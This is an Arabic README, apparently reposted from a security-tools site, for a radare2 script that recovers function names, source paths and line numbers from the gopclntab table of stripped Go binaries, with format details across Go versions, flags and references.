حالة الاستخدام الأساسية. الملفات الثنائية لـ Go التي تم تجريدها باستخدام `-ldflags="-s -w"` تفقد جدول الرموز الخاص بها، لكن gopclntab يبقى. يعيد هذا الأداة كل اسم دالة، محولاً الدوال المجهولة مثل `fcn.1000a0c20` إلى `main.main`. ينطبق هذا على عينات البرامج الضارة، تحديات CTF، الملفات الثنائية الإنتاجية، وأي ملف تنفيذي مجرد لـ Go.

### 3. التنقل في بيئة تشغيل Go

تضم الملفات الثنائية لـ Go بيئة التشغيل بأكملها (عادةً 1500 إلى 2000+ دالة). بدون أسماء، تكون بيئة التشغيل جدارًا منيعًا من الدوال المجهولة. مع الأسماء، يمكنك تحديد موقع `runtime.mallocgc`، `runtime.gopanic`، `runtime.newproc`، `runtime.gcStart` فورًا وفهم ما يفعله الملف الثنائي في كل موقع استدعاء.

### 4. فصل كود المستخدم عن بيئة التشغيل

من خلال البحث عن `main.` أو مسار حزمة التطبيق، يمكنك عزل كود المستخدم فقط عن بيئة التشغيل. في الأمثلة أعلاه، يكشف التصفية عن `main.` فورًا عن `main.main` و `main.fibonacci` من بين 2030 دالة إجمالية. يمكنك أيضًا البحث بأسماء الحزم الخارجية (مثل `-n "github.com/user/repo"`) لتحديد التبعيات الخارجية.

### 5. سياق على مستوى المصدر

تأتي كل دالة مع مسار ملفها المصدري ورقم سطر البداية. هذا يعني أنه يمكنك مقارنة التفكيك مع كود مصدر مكتبة Go القياسية (وهو مفتوح)، حتى عند تحليل ملف ثنائي مجرد. معرفة أن دالة تبدأ في السطر 733 من `runtime/mgc.go` يسمح لك بقراءة المصدر الأصلي جنبًا إلى جنب مع التفكيك.

### 6. التوجيه والأتمتة

يتيح وضع `--json` إمكانية البرمجة النصية. غَذِّ الإخراج في أدوات استيراد IDA/Ghidra، أدوات المقارنة، مولدي قواعد YARA، أو أي مسار تحليل. على سبيل المثال، لاستخراج جميع الدوال المتعلقة بالتشفير:```bash
python3 r2_gopclntab.py -f sample.exe --json \
  | jq '.functions[] | select(.name | contains("crypto"))'

7. سير عمل radare2 التفاعلي

بعد --apply، تصبح جلسة r2 بأكملها قابلة للتصفح حسب اسم Go. يمكنك الانتقال إلى الدوال (s go.main.main)، والبحث في قائمة الدوال (afl~runtime.gc)، وفحص المراجع المتقاطعة (axf go.main.fibonacci)، ورؤية تعليقات مواقع المصدر مضمنة في مخرجات التفكيك (pd). هذا يحول r2 من مفكك عام إلى بيئة تحليل واعية بـ Go.


المنصات وإصدارات Go المدعومة

تنسيقات الملفات الثنائية

بالنسبة لملفات PE الثنائية وملفات ELF/Mach-O المجردة بقوة التي تفتقر إلى رأس القسم، تتراجع الأداة إلى مسح جميع الأقسام بحثًا عن البايت السحري المكون من 4 بايتات متبوعًا ببايتات التحقق (pad=0, ptrSize في {4,8}, minLC في {1,2,4}).

إصدارات Go

يُستخدم السحر 0xFFFFFFF1 في Go 1.20 حتى Go 1.26 على الأقل.


المنهجية

استراتيجية موقع القسم

يستخدم المحلل نهجًا من مرحلتين للعثور على بيانات gopclntab:

المرحلة 1 (ELF/Mach-O): استعلام قائمة أقسام radare2 (iSj) والبحث عن أقسام مسماة .gopclntab أو .data.rel.ro.gopclntab أو __gopclntab.

المرحلة 2 (PE/التراجع): إذا لم يتم العثور على قسم مسمى، قم بمسح جميع الأقسام للبايت السحري المكون من 4 بايتات. يتم التحقق من كل مرشح عن طريق التأكد من أن البايتات 4-7 تطابق النمط المتوقع: بايتان حشو صفري، وحجم مؤشر صالح (4 أو 8)، وكم تعليمات صالح (1 أو 2 أو 4). هذا يزيل الإيجابيات الخاطئة الناتجة عن أنماط بايتات المصادفة.

textStart مقابل قسم .text

في Go >= 1.18، تُخزن نقاط دخول الدوال في functab كإزاحات نسبية. يتطلب حساب العنوان الظاهري المطلق قاعدة:``` absolute_addr = base + entryoff

root@kitploit:~
يتم حل القاعدة بالمنطق التالي:```
Is magic 0xFFFFFFFB (Go 1.2)?
  YES -> base = 0 (entries are absolute addresses)
  NO  -> Is magic 0xFFFFFFFA (Go 1.16)?
           YES -> base = .text section vaddr (entries are absolute)
           NO  -> (Go 1.18 / 1.20+)
                  Is header.textStart != 0?
                    YES -> base = header.textStart
                    NO  -> base = .text section vaddr

حالة textStart == 0 تحدث في Go >= 1.22 للثنائيات Mach-O و PIE. عندما يحدث ذلك، تكون قيم entryoff نسبية لبداية القسم .text، لذا يستفسر المحلل عن العنوان الافتراضي لـ.text من r2 ويستخدمه كأساس.

تم التحقق من ذلك مقابل ثنائي Go 1.26 Mach-O arm64:

  • textStart في الترويسة: 0x0
  • العنوان الافتراضي لقسم .text: 0x100001000
  • functab[1].entryoff: 0x70
  • العنوان المحسوب: 0x100001000 + 0x70 = 0x100001070
  • أكد التحليل الأصلي لـ r2 وجود internal/abi.BoundsDecode عند 0x100001070

تحليل البنية المراعي للإصدار

يختلف تخطيط البنية _func بين Go 1.18 و Go 1.20+. التغيير الوحيد هو إدراج حقل startLine بطول 4 بايت عند الإزاحة 36 في Go 1.20+، مما يزيح funcID و flag و nfuncdata بمقدار 4 بايتات:

يتحقق المحلل من الرقم السحري لتحديد أي تخطيط يجب استخدامه.

فك ترميز بيانات PC

يتم تخزين فهارس ملفات المصدر وأرقام الأسطر كـ "برامج بيانات PC" مضغوطة في منطقة pctab. يقوم كل برنامج بتشفير تسلسل من أزواج (value_delta, pc_delta) باستخدام أعداد صحيحة متغيرة الطول مع ترميز zig-zag للقيم الموقعة. يقوم المحلل بفك ترميز هذه لحل:

  • ملف المصدر: _func.pcfile -> برنامج pctab -> فهرس الملف -> cutab -> filetab -> سلسلة مسار الملف
  • رقم السطر: _func.pcln -> برنامج pctab -> رقم السطر (بالإضافة إلى إزاحة startLine لـ Go 1.20+)

القيود

  1. الدوال المضمنة لا تظهر في جدول الدوال الأعلى مستوى. إنها مشفرة في بنى FUNCDATA_InlTree / PCDATA_InlTreeIndex، والتي لا يقوم هذا الأداة حاليًا بفك تشفيرها. في الثنائي الاختباري، تم تضمين main.helloWorld و main.addNumbers بواسطة المترجم وبالتالي لا تظهر في المخرجات.

  2. دعم Go 1.2 هو بأفضل جهد. تنسيق Go 1.2 يختلف بشكل كبير (لا يوجد funcnametab منفصل، ولا cutab، ومؤشرات مطلقة في functab) ونادرًا ما يُواجه في الممارسة.

  3. معماريات Big-endian يتم التعامل معها من حيث المبدأ (يتم اكتشاف endian من معلومات r2 الثنائية واستخدامها لجميع قراءات البنى) ولكن لم يتم اختبارها.

  4. وضع --apply ينشئ دوال وهمية باستخدام af+ مما قد يتعارض مع التحليل التلقائي الخاص بـ r2. قد يعطي تشغيله على جلسة نظيفة (قبل أو بدلاً من aaa) نتائج أفضل في بعض الحالات.


توثيق إضافي

التوثيق التقني التفصيلي متوفر في مجلد documentation/:

  • DOCUMENTATION.md - توثيق المستخدم الكامل مع جميع أوضاع الاستخدام وصيغ المخرجات وتجميعات الأعلام.
  • METHODOLOGY.md - قرارات التصميم والخوارزميات: دقة textStart مقابل .text، التحليل المراعي للإصدار، استراتيجية فحص PE، فك ترميز بيانات PC، تفاصيل تكامل r2.
  • GOPCLNTAB_FORMAT.md - تنسيق gopclntab الثنائي عبر إصدارات Go: تخطيطات البنى على مستوى البايت، نموذج الذاكرة، سلاسل الإزاحة، ترميز varint، ملخص اختلافات الإصدار.

المراجع

  • مصدر وقت تشغيل Go (pcHeader): go1.20.6/src/runtime/symtab.go#L414
  • رابط Go (يكتب التنسيق): go1.20.6/src/cmd/link/internal/ld/pcln.go
  • Mandiant - استعادة الرموز الداخلية لـ Golang: mandiant.com/resources/blog/golang-internals-symbol-recovery
  • وثيقة تصميم جدول رموز Go 1.2: docs.google.com/document/d/1lyPIbmsYbXnpNj57a261hgOYVpNRcgydurVQIyZOz_o
تنزيل الأداة
العلمالوصف
-l, --listطباعة كل دالة مستردة مع عنوانها.
-n NAME, --funcname NAMEطباعة الدوال التي يحتوي اسمها على NAME فقط (مطابقة جزئية). في حالة وجود تطابق تام، يتم طباعة عنوانه بشكل منفصل.
-v, --verboseطباعة رسائل التقدم، وحقول الرأس المُحللة، والإزاحات الداخلية.
--applyكتابة أسماء الدوال المستردة في جلسة radare2 كتعريفات دالة (af+)، وعلم في مساحة الأعلام go.، وتعليقات مع اسم Go الأصلي وموقع المصدر.
--jsonإخراج الرأس وقائمة الدوال الكاملة بصيغة JSON إلى stdout.
--filesطباعة قائمة مسارات ملفات المصدر المستخرجة من جدول الملفات.
-h, --helpإظهار رسالة المساعدة.
التنسيقطريقة اكتشاف القسممُختبر
ELF (لينكس)اسم القسم .gopclntab أو .data.rel.ro.gopclntabنعم
Mach-O (macOS)اسم القسم __gopclntab (داخل مقطع __TEXT)نعم
PE (ويندوز)مسح البايت السحري (لا يوجد قسم مخصص)نعم (مُختبر على Greenblood، PE64 لبرمجية فدية Go)
السحرإصدار GotextStart في الرأسنوع functab.entryحقل startLineالحالة
0xFFFFFFFB1.2لاuintptr (مطلق)لامدعوم
0xFFFFFFFA1.16لاuintptr (مطلق)لامدعوم
0xFFFFFFF01.18 - 1.19نعمuint32 (نسبي)لامدعوم
0xFFFFFFF11.20+نعم (قد يكون 0)uint32 (نسبي)نعممدعوم
الحقلإزاحة Go 1.18إزاحة Go 1.20+
entryOff00
nameOff44
args88
cuOffset3232
startLine(غائب)36
funcID3640
flag3741
nfuncdata3943